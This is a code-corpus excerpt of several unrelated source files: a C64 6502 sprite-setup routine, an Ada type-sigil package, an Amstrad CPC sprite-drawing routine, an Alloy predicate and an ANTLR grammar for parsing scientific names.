// 3b: Set the sprite data pointer for sprite 1 to the
// 64 bytes at sprite_astroid label.
// 3c: Set the individual sprite color for sprite 1
// Step 4 Enable the sprites
// Step 5 Set sprites location
////// step 1: Set the two global colors for multi color sprites /////
// here setting colors using the color const, but spritemate
// will save similar code using literal values
lda #C64_COLOR_LITE_GREEN // multicolor sprites global color 1
sta SPRITE_COLOR_1_ADDR // can also get this from spritemate
lda #C64_COLOR_WHITE // multicolor sprites global color 2
sta SPRITE_COLOR_2_ADDR
////// step 1 done ///////////////////////////////////////////////////
////// Step 2: setup sprite 0 aka sprite_astroid /////////////////////
////// Step 2a: set mode for sprite_0 /////////////////////////////////
// set it to single color (high res) and override below if needed
lda SPRITE_MODE_REG_ADDR // load sprite mode reg
and #$fe // clear bit 0 for sprite 0
sta SPRITE_MODE_REG_ADDR // store it back to sprite mode reg
lda #$F0 // load mask in A, checking for any ones in high nibble
bit sprite_ship + 63 // set Zero flag if the masked bits are all 0s
// if any masked bits in the last byte of sprite_0 are set
// then its a multi colored sprite
beq skip_multicolor_0 // if Zero is set, ie no masked bits were set, then branch
// to skip multi color mode.
// If we didn't skip the multi color, then set sprite 0 to muli color mode
lda SPRITE_MODE_REG_ADDR // load current contents of sprite mode reg
ora #$01 // set bit for sprite 0 (bit 0) to 1 for multi color
sta SPRITE_MODE_REG_ADDR // leave other bits untouched for sprites 1-7
skip_multicolor_0:
////// Step 2a done ///////////////////////////////////////////////////
////// Step 2b: set sprite data pointer ///////////////////////////////
lda #(sprite_ship / 64) // implied this is multiplied by 64
sta SPRITE_0_DATA_PTR_ADDR
////// step 2b done ///////////////////////////////////////////////////
////// step 2c: set sprite_ship unique color /////////////////////////
// set this sprite's color.
lda sprite_ship + 63 // The color is the low nibble of the
// last byte of sprite. We'll just
// write the whole byte because the
// only lo 4 bits of reg are writable
sta SPRITE_0_COLOR_REG_ADDR
////// step 2c done //////////////////////////////////////////////////
//
////// step 2 done ///////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
////// Step 3: setup sprite 1 aka sprite_astroid /////////////////////
////// Step 3a: set mode for sprite_astroid /////////////////////////////////
// set it to single color (high res) and override below if needed
lda SPRITE_MODE_REG_ADDR // load sprite mode reg
and #$fd // clear bit 1 for sprite 1 (sprite_astroid)
sta SPRITE_MODE_REG_ADDR // store it back to sprite mode reg
lda #$F0 // load mask in A, checking for any ones in high nibble
bit sprite_astroid + 63 // set Zero flag if the masked bits are all 0s
// if any masked bits in the last byte of sprite_0 are set
// then its a multi colored sprite
beq skip_multicolor_1 // if Zero is set, ie no masked bits were set, then branch
// to skip multi color mode.
// If we didn't skip the multi color, then set sprite 0 to muli color mode
lda SPRITE_MODE_REG_ADDR // load current contents of sprite mode reg
ora #$02 // set bit for sprite 1 (bit 1) to 1 for multi color
sta SPRITE_MODE_REG_ADDR // leave other bits untouched for sprites 1-7
skip_multicolor_1:
////// Step 3a done ///////////////////////////////////////////////////
////// Step 3b: set sprite data pointer ///////////////////////////////
lda #(sprite_astroid / 64) // implied this is multiplied by 64
sta SPRITE_1_DATA_PTR_ADDR
////// step 3b done ///////////////////////////////////////////////////
////// step 3c: set sprite_ship unique color /////////////////////////
// set this sprite's color.
lda sprite_astroid + 63 // The color is the low nibble of the
// last byte of sprite. We'll just
// write the whole byte because the
// only lo 4 bits of reg are writable
sta SPRITE_1_COLOR_REG_ADDR
////// step 3c done //////////////////////////////////////////////////
////// step 4: enable both sprites /////////////////////////////////////////
lda SPRITE_ENABLE_REG_ADDR // load with sprite enabled reg
ora #$03 // set the bit for sprite 0,
// Leaving other bits untouched
sta SPRITE_ENABLE_REG_ADDR // store to sprite enable register
// one bit for each sprite.
////// step 4 done ///////////////////////////////////////////////////
////// step 5: Set Sprite Location ///////////////////////////////////
// set sprite_ship X loc
lda #22 // picking X loc at left of screen
sta SPRITE_0_X_ADDR
// set sprite_ship Y loc
lda #50 // picking Y loc for top of screen
sta SPRITE_0_Y_ADDR
// set sprite_astroid X loc
lda #122 // picking X loc to the right of ship
sta SPRITE_1_X_ADDR
// set sprite_astroid y loc
lda #50 // picking Y loc for top of screen
sta SPRITE_1_Y_ADDR
////// step 5 done ///////////////////////////////////////////////////
// move cursor to row 6 just so its out of the way
lda #$6
sta 214 // 214 is cursor row.
rts // program done, return
|
src/risi_script-types.ads | OneWingedShark/Risi | 1 | 14582 | <reponame>OneWingedShark/Risi<gh_stars>1-10
Pragma Ada_2012;
Pragma Wide_Character_Encoding( UTF8 );
Package Risi_Script.Types with Pure is
Enumeration_Prefix : Constant String:= "RT_";
------------------------------------
-- Main Type Forward Declarration --
------------------------------------
Type Extended_Enumeration;
Type Indicator;
Type Subprogram_Type;
------------------
-- MAIN TYPES --
------------------
Type Subprogram_Type is (RF_Function, RF_As_Procedure, RF_With_Procedure);
Type Extended_Enumeration is (
RT_Integer, RT_Array, RT_Hash, RT_String, RT_Real,
RT_Pointer, RT_Reference, RT_Fixed, RT_Boolean, RT_Func,
RT_Node
);
SubType Enumeration is Extended_Enumeration Range RT_Integer..RT_Func;
-- Defines the sigils that prefix variables.
Type Indicator is ('!', '@', '#', '$', '%',
'^', '&', '`', '?', 'ß')
with Object_Size => 8;
For Indicator use
(
'!' => Enumeration'Pos( RT_Integer ),
'@' => Enumeration'Pos( RT_Array ),
'#' => Enumeration'Pos( RT_Hash ),
'$' => Enumeration'Pos( RT_String ),
'%' => Enumeration'Pos( RT_Real ),
'^' => Enumeration'Pos( RT_Pointer ),
'&' => Enumeration'Pos( RT_Reference ),
'`' => Enumeration'Pos( RT_Fixed ),
'?' => Enumeration'Pos( RT_Boolean ),
'ß' => Enumeration'Pos( RT_Func )
);
Type Indicator_String is Array(Positive Range <>) of Indicator;
Function "+"( Right : Indicator_String ) Return String;
Function "+"( Right : Character ) return Indicator;
Function "+"( Right : Indicator ) return Character;
Function "+"( Right : Indicator ) return Enumeration;
Function "+"( Right : Enumeration ) return Indicator;
Function "+"( Right : Enumeration ) return Character;
Private
Function "+"( Right : Indicator_String ) Return String is
(case Right'Length is
When 0 => "",
When 1 => ( 1 => +Right(Right'First) ),
When others => (+Right(Right'First)) &
(+Right(Positive'Succ(Right'First)..Right'Last))
);
Function "+"( Right : Enumeration ) return Character is
( +(+Right) );
Function "+"( Right : Indicator ) return Enumeration is
( Enumeration'Val(Indicator'Pos( Right )) );
Function "+"( Right : Enumeration ) return Indicator is
( Indicator'Val(Enumeration'Pos( Right )) );
Function "+"( Right : Indicator ) return Character is
(case Right is
When '!' => '!',
When '@' => '@',
When '#' => '#',
When '$' => '$',
When '%' => '%',
When '^' => '^',
When '&' => '^',
When '`' => '`',
When '?' => '?',
When 'ß' => 'ß'
);
Function "+"( Right : Character ) return Indicator is
(case Right is
When '!' => '!',
When '@' => '@',
When '#' => '#',
When '$' => '$',
When '%' => '%',
When '^' => '^',
When '&' => '^',
When '`' => '`',
When '?' => '?',
When 'ß' => 'ß',
When others => Raise Parse_Error
with "Invalid type-sigil: '" & Right & "'."
);
End Risi_Script.Types;
|
libsrc/cpc/sprites/cpc_PutSpTr0.asm | jpoikela/z88dk | 640 | 88315 | ;
; Amstrad CPC library
;
; ******************************************************
; ** Librería de rutinas para Amstrad CPC **
; ** <NAME>, Artaburu 2009 **
; ******************************************************
;
;
; $Id: cpc_PutSpTr0.asm $
;
SECTION code_clib
PUBLIC cpc_PutSpTr0
PUBLIC anchot
PUBLIC suma_siguiente_lineat
.cpc_PutSpTr0
ld ixh,a ;ALTO, SE PUEDE TRABAJAR CON HX DIRECTAMENTE
.loop_alto_2t
.anchot
ld b,0
;push hl
.loop_ancho_2t
ld A,(DE)
and $aa
jp z,sig_pixn_der_2
ld c,a ;B es el único registro libre
ld a,(hl) ;pixel actual donde pinto
and $55
or c
ld (hl),a ;y lo pone en pantalla
.sig_pixn_der_2
ld a,(de) ;pixel del sprite
and $55
jp z,pon_buffer_der_2
ld c,a ;B es el único registro libre
ld a,(hl) ;pixel actual donde pinto
and $aa
or c
ld (hl),a
.pon_buffer_der_2
inc de
inc hl
dec b
jp nz,loop_ancho_2t
;pop hl
dec ixh
ret z
.salto_lineat
.suma_siguiente_lineat
LD BC,$07ff ;&07f6 ;salto linea menos ancho
ADD HL,BC
jp nc,loop_alto_2t ;sig_linea_2zz ;si no desborda va a la siguiente linea
ld bc,$c050
add HL,BC
;ld b,7 ;sólo se daría una de cada 8 veces en un sprite
jp loop_alto_2t
ld A,H
add $08
ld H,A
sub $C0
jp nc,loop_alto_2t ;sig_linea_2
ld bc,$c050
add HL,BC
jp loop_alto_2t
|
alloy4fun_models/trainstlt/models/2/MNzGxwb8npcY754fb.als | Kaixi26/org.alloytools.alloy | 0 | 2221 | open main
pred idMNzGxwb8npcY754fb_prop3 {
always all t: Train | t not in Track
}
pred __repair { idMNzGxwb8npcY754fb_prop3 }
check __repair { idMNzGxwb8npcY754fb_prop3 <=> prop3o } |
name-parser-antlr/src/main/resources/antlr/SciName.g4 | charvolant/name-parser | 15 | 6895 | grammar SciName;
options {
language=Java;
}
// Lexer Rules
// for unicode codepoint classifications see https://github.com/antlr/grammars-v4/tree/master/unicode
NOTHO: 'notho';
RANK: 'subsp'|'ssp'|'var'|'form'|'f';
ETAL: ('&' | 'and' | 'et') SPACE 'al' DOT?;
MONOMIAL: LETTER_NAME_UC LETTER_NAME_LC+;
EPITHET: LETTER_NAME_LC LETTER_NAME_LC*;
AUTHOR_INITIALS: (LETTER_AUTHOR_UC (DOT|SPACE) SPACE*)+?;
AUTHOR: [A-Z]+ DOT?; // LETTER_AUTHOR_LC*
AUTHOR2: AUTHOR_INITIALS? LETTER_AUTHOR_UC+ LETTER_AUTHOR_LC* DOT?;
AUTHOR_DELIM: ',' | '&';
YEAR: [12] DIGIT DIGIT DIGIT;
DOT: '.';
LR_BRACKET: '(';
RR_BRACKET: ')';
COMMA: ',';
SEMI: ';';
SINGLE_QUOTE: '\'';
DOUBLE_QUOTE: '"';
COLON: ':';
HYBRID_MARKER: '×' SPACE?;
EXTINCT_MARKER: '†';
OTU_BOLD: ('BOLD'|'bold')':'ALPHANUM ALPHANUM ALPHANUM ALPHANUM ALPHANUM ALPHANUM ALPHANUM;
OTU_SH: 'SH' DIGIT DIGIT DIGIT DIGIT DIGIT DIGIT '.' DIGIT DIGIT 'FU';
VIRUS: 'virus';
CONTROL: [\u0000-\u001F]+ -> skip;
//WS: SPACE+ -> skip;
//ANY: . ; // match any char
NUC: LETTER_NAME_UC+;
NLC: LETTER_NAME_LC+;
AUC: LETTER_AUTHOR_UC+;
ALC: LETTER_AUTHOR_LC+;
ALPH: ALPHANUM+;
fragment LETTER_NAME_UC: [A-ZÏËÖÜÄÉÈČÁÀÆŒ];
fragment LETTER_NAME_LC: [a-zïëöüäåéèčáàæœ];
fragment LETTER_AUTHOR_UC: [\p{Lu}]; // upper case unicode letter, not numerical
fragment LETTER_AUTHOR_LC: [\p{Ll}?-]; // lower case unicode letter, not numerical
fragment NOT_CYRILLIC: [\P{Script=Cyrillic}]; // example for unicode usage
fragment DQUOTA_STRING: '"' ( '\\'. | '""' | ~('"'| '\\') )* '"';
fragment SQUOTA_STRING: '\'' ('\\'. | '\'\'' | ~('\'' | '\\'))* '\'';
fragment DIGIT: [0-9];
fragment ALPHANUM: [0-9A-Za-z];
fragment SPACE : ' ' | '\t' | '\r' | '\n';
epithet2:
(HYBRID_MARKER? EPITHET)+
EOF
;
author:
AUTHOR
EOF
;
dot: DOT+ EOF;
auc: AUC EOF;
alc: ALC EOF;
nuc: NUC EOF;
nlc: NLC EOF;
alphanum: ALPH EOF;
// ParserRules
scientificName:
otu
| latin
| virus
| hybridformula
EOF
;
latin:
monomial
(species
(subspecies? infraspecies)?
)?
;
monomial:
HYBRID_MARKER?
MONOMIAL
authorship
;
epithet:
HYBRID_MARKER?
EPITHET
authorship
;
species: epithet;
rank:
NOTHO?
RANK
DOT?
;
subspecies:
epithet
;
infraspecies:
rank?
epithet
;
authorship:
basauthorship?
combauthorship?
;
combauthorship:
authorteam
(COMMA? YEAR)?
;
basauthorship:
LR_BRACKET
authorteam
(COMMA? YEAR)?
RR_BRACKET
;
authorteam:
AUTHOR (AUTHOR_DELIM AUTHOR)* ETAL?
;
virus:
VIRUS
;
otu:
OTU_BOLD
| OTU_SH
;
hybridformula:
latin (HYBRID_MARKER latin)+
;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.